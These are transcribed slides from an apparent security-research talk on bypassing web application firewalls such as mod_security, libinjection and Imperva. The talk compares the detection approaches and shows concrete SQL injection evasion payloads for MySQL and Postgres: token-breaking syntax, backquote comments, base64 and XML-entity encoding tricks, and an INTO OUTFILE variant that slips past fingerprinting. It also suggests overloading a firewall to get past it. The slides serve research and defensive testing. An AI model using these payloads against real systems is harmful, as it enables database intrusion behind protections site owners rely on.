Lie to Me: Bypassing Modern Web Application Firewalls

38
bypassing modern web application firewalls @ONsec_lab, http://lab.onsec.ru

description

The report considers analysis of modern Web Application Firewalls. The author provides comparison of attack detection algorithms and discusses their advantages and disadvantages. The talk includes examples of bypassing protection mechanisms. The author points out the necessity of discovering a universal method of masquerading for vectors of various attacks via WAFs for different algorithms.

Transcript of Lie to Me: Bypassing Modern Web Application Firewalls

bypassing modern web application firewalls

@ONsec_lab, http://lab.onsec.ru

About

• Security audits of webapps since 2009

• @d0znpp twitter

• @ONsec_lab twitter

• Nice blog! http://lab.onsec.ru - [ENG]

• d0znpp[at]ONsec[dot]ru еmаi1

WTF WAF?

• Web Application Firewall

• Prevent attacks

• Attack != Vulnerability

• Risk != Attack

Software VS Hardware

• Different HTTP parsers

• Many «hardware» WAFs used Apache, Lighttpd, Nginx forks

Implementation

• Failover bypass:

• DoS/DDoS WAF for bypass it- why not?!

• What happens with traffic when your filter is overloaded?

• XML, regexp, token bombs for this

• Not so silently, right? :)

WAF work stages

• Parse HTTP packet from client (web server to this in general case)

• Determine rules that must be applied to current URL/client/hostname/etc

• Normalize data (2-nd urldecode, base64, etc)

• Do detection logic (such as regexpr)

• Make detection decision (true/false/score)

WAF work stages

• Parse HTTP packet from client (web server to this in general case)

• Determine rules that must be applied to current URL/client/hostname/etc

• Normalize data (2-nd urldecode, base64, etc)

• Do detection logic (such as regexpr)

• Make detection decision (true/false/score)

Protocol level bug looks like abyss

Parse HTTP packets• First read: «Protocol-Level Evasion of Web

Application Firewalls», Ivan Ristic, BH-US-2012

• Nice yesterday bypass Imperva by @webpentest during PHDays WAF bypass contest: Content-Type: invalid :)))

• Classic example - HTTP Parameter Pollution

• Are you sure that WAF’s and webapp’s HTTP protocols are the same?

WAF work stages

• Parse HTTP packet from client (web server to this in general case)

• Determine rules that must be applied to current URL/client/hostname/etc

• Normalize data (2-nd urldecode, base64, etc)

• Do detection logic (such as regexpr)

• Make detection decision (true/false/score)

Data normalization level bug looks like

tunnel

Data normalization

• Format parsers, for example:

• base64

• xml

• JSON

• Are you sure that WAF’s and webapp’s parsers are the same?

Data normalization

• mod_security, t:base64decode

• decode string until first = char

• PHP, base64_decode($strict=false)

• decode whole string

• Attack vector

• YWFh=attackhere

• Use t:base64DecodeExt!

Data normalization

• Yet another example from yesterday PHDays WAF bypass contest - Imperva XML decoding

• First decode XML, that validate attacks

• XML input was not set up as XML type in WAF

• Put attack as XML-encoded data (entities) to bypass regexpr: union select 123

WAF work stages

• Parse HTTP packet from client (web server to this in general case)

• Determine rules that must be applied to current URL/client/hostname/etc

• Normalize data (2-nd urldecode, base64, etc)

• Do detection logic (such as regexpr)

• Make detection decision (true/false/score)

Detection logic bug looks like ninja

Detection logic

• Regular expressions (mod_security, etc)

• Tokenizers (libinjection)

• ...

SQL syntax - time to fuzzing!

• SELECT{$P1} 1 FROM...

• ...UNION{$P2}FROM...

• SELECT VERSION{$P3}()

• SELECT{$P4}VERSION{P4}()

• SELECT 1{P5}BAD

MySQL: the classics

• SELECT{U} 1 FROM

• ...UNION{U}FROM...

• SELECT VERSION{U}()

• {U} = [0x09,0x0A-0x0D,0x20,0xA0]*

• Fuzzed only 1-bytes sequences, not /**/, etc

MySQL: time to fuzzing!• SELECT{F}VERSION{F}()

• SELECT 1{D}BAD

• {F} = {U} + 0x60 (backquote `)

• {D} = # + 0x60

• Have a fun with regexp:

• select`version` ( )

• ... where id=’1’`’ and ... - commented now

MySQL: break tokens!• SELECT{O}1 FROM test

• {O} = [-+!~@]

• SELECT 1{W}FROM test;

• {W} = [.\d?|e\d]

• Part of this discovered during our WAF bypass contest last year by @Black2Fan

MySQL: break tokens!• SELECT-1e1FROM test

• SELECT~1.FROM test

• SELECT\NFROM test

• SELECT@^1.FROM test

• SELECT-id-1.FROM test

• all tested on MySQL 5.1.66-0-squeeze1

Postgres: the classics

• SELECT{U} 1 FROM

• ...UNION{U}FROM...

• SELECT VERSION{U}()

• {U} = [0x09,0x0A,0x0C,0x0D,0x20]*

• Fuzzed only 1-bytes sequences, not /**/, etc

Postgres: time to fuzz!• SELECT{F}VERSION{F}()

• SELECT 1{D}BAD

• {F} = {U} + 0x22 (doblequote ‘’)

• {D} = # + 0x22

• Have a fun with regexp:

• select’’version’’ ( )

• ... where id=’1’`’ and ... - commented now

Postgres: break tokens!

• SELECT{O}1 FROM test

• {O} = [.-+!~@] - @ is absolute operator

• SELECT 1{W}FROM test;

• {W} = [.\d?|e\d|] - nothing is also OK!

Postgres: break tokens!• SELECT-1ROM test

• SELECT.1FROM test

• SELECT~1FROM test

• SELECT-id-1FROM test

• SELECT-id-1FROM test

• all tested on PostgreSQL 9.2.4

Time to exploit!

• mod_security

• libinjection

• others?

mod_security

• CRS (https://github.com/SpiderLabs/owasp-modsecurity-crs)

• base_rules

• many regular expressions

mod_security• ?id=select id from test

• ?id=select-id-1.from test

Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:union\\s*?(?:all|d i s t i n c t | [ ( ! @ ] * ? ) ? \ \ s * ? [ ( [ ] * ? \ \ s * ? se l e c t \ \ s + ) | ( ? : \ \ w + \ \ s + l i ke \ \ s + [ \ " ' `\xc2\xb4\xe2\x80\x99\xe2\x80\x98])|(?:like\\s*?[\"'`\xc2\xb4\xe2\x80\x99\xe2\x80\x98]\\%)|(?:[\"'`\xc2\xb4\xe2\x80\x99\xe2\x80\x98]\\s*?like\\W*?[\"'`\xc2\xb4 ..." at ARGS:id. [file "/opt/modsecurity/rules/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "223"] [id "981245"] [msg "Detects basic SQL authentication bypass attempts 2/3"] [data "Matched Data: select id from found within ARGS:id: select id from test"] [severity "CRITICAL"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"]

mod_security• ?id=1 or 1=1 or

• ?id=1 or true or

Message: Access denied with code 403 (phase 2). Pattern match "(?i:([\\s'\"`\ x c 2 \ x b 4 \ x e 2 \ x 8 0 \ x 9 9 \ x e 2 \ x 8 0 \ x 9 8 \ \ ( \ \ ) ] * ? ) ( [ \ \ d \ \ w ] + + ) ( [ \ \ s ' \ " `\xc2\xb4\xe2\x80\x99\xe2\x80\x98\\(\\)]*?)(?:(?:=|<=>|r?like|sounds\\s+like|regexp)([\\s'\"`\xc2\xb4\xe2\x80\x99\xe2\x80\x98\\(\\)]*?)\\2|(?:!=|<=|>=|<>|<|>|\\^|is\\s+not|not\\ ..." at A R G S : i d . [ fi l e " / o p t / m o d s e c u r i t y / r u l e s / b a s e _ r u l e s /modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within ARGS:id: 1 or 1=1 or "] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]

libinjection

• Token based detection

• No more regexp!

• Fingerprint for each attack 1-5 tokens sequence

• 14 token types, 14^5+14^4+14^3+14^2+14 ~= 580k possible fingerprints

• Is it enough to block all SQLi?

libinjection

• Bytes obfuscation doesn’t works now

• But...

• What happens if you missed some tokens?

Attack #1. Missed token / fingerprint

• As fuzzed above ` 0x60 byte can be used as a comment in MySQL and also as function quotes

• ' into outfile 'asd' --

• block - skksc

• ' into outfile 'asd' `

• bypass - skksn

Attack #2. Token obfuscation

• Find any unblocked fingerprint

• Obfuscate your attack to produce the same fingerprint

• Fingerprint have only 5 tokens

• Need to exploit anti-obfuscation logic (1+1 and others hardcoded token combinations)

Attack #2. Token obfuscation

• Fingerprint «v1111» looks like safe

• @a1a2a3a4 - variable but fingerprint of this string is «v», no numeric token here

• @ф1й2у3ц4 - is valid variable for MySQL, but produce fingerprint «v1111»

• @ф1й2у3ц4 union select ... produce fingerprint «v1111» also :)

Some stats

• Hacking WAFs since 2009

• About 50 different implementations

• About 10 different engines

• Time to hack:

• min: 3 min

• max: 19 hours

• average: 1hour

Questions?

• @d0znpp twitter

• @ONsec_lab twitter

• Nice blog! http://lab.onsec.ru - [ENG]

• d0znpp[at]ONsec[dot]ru еmаi1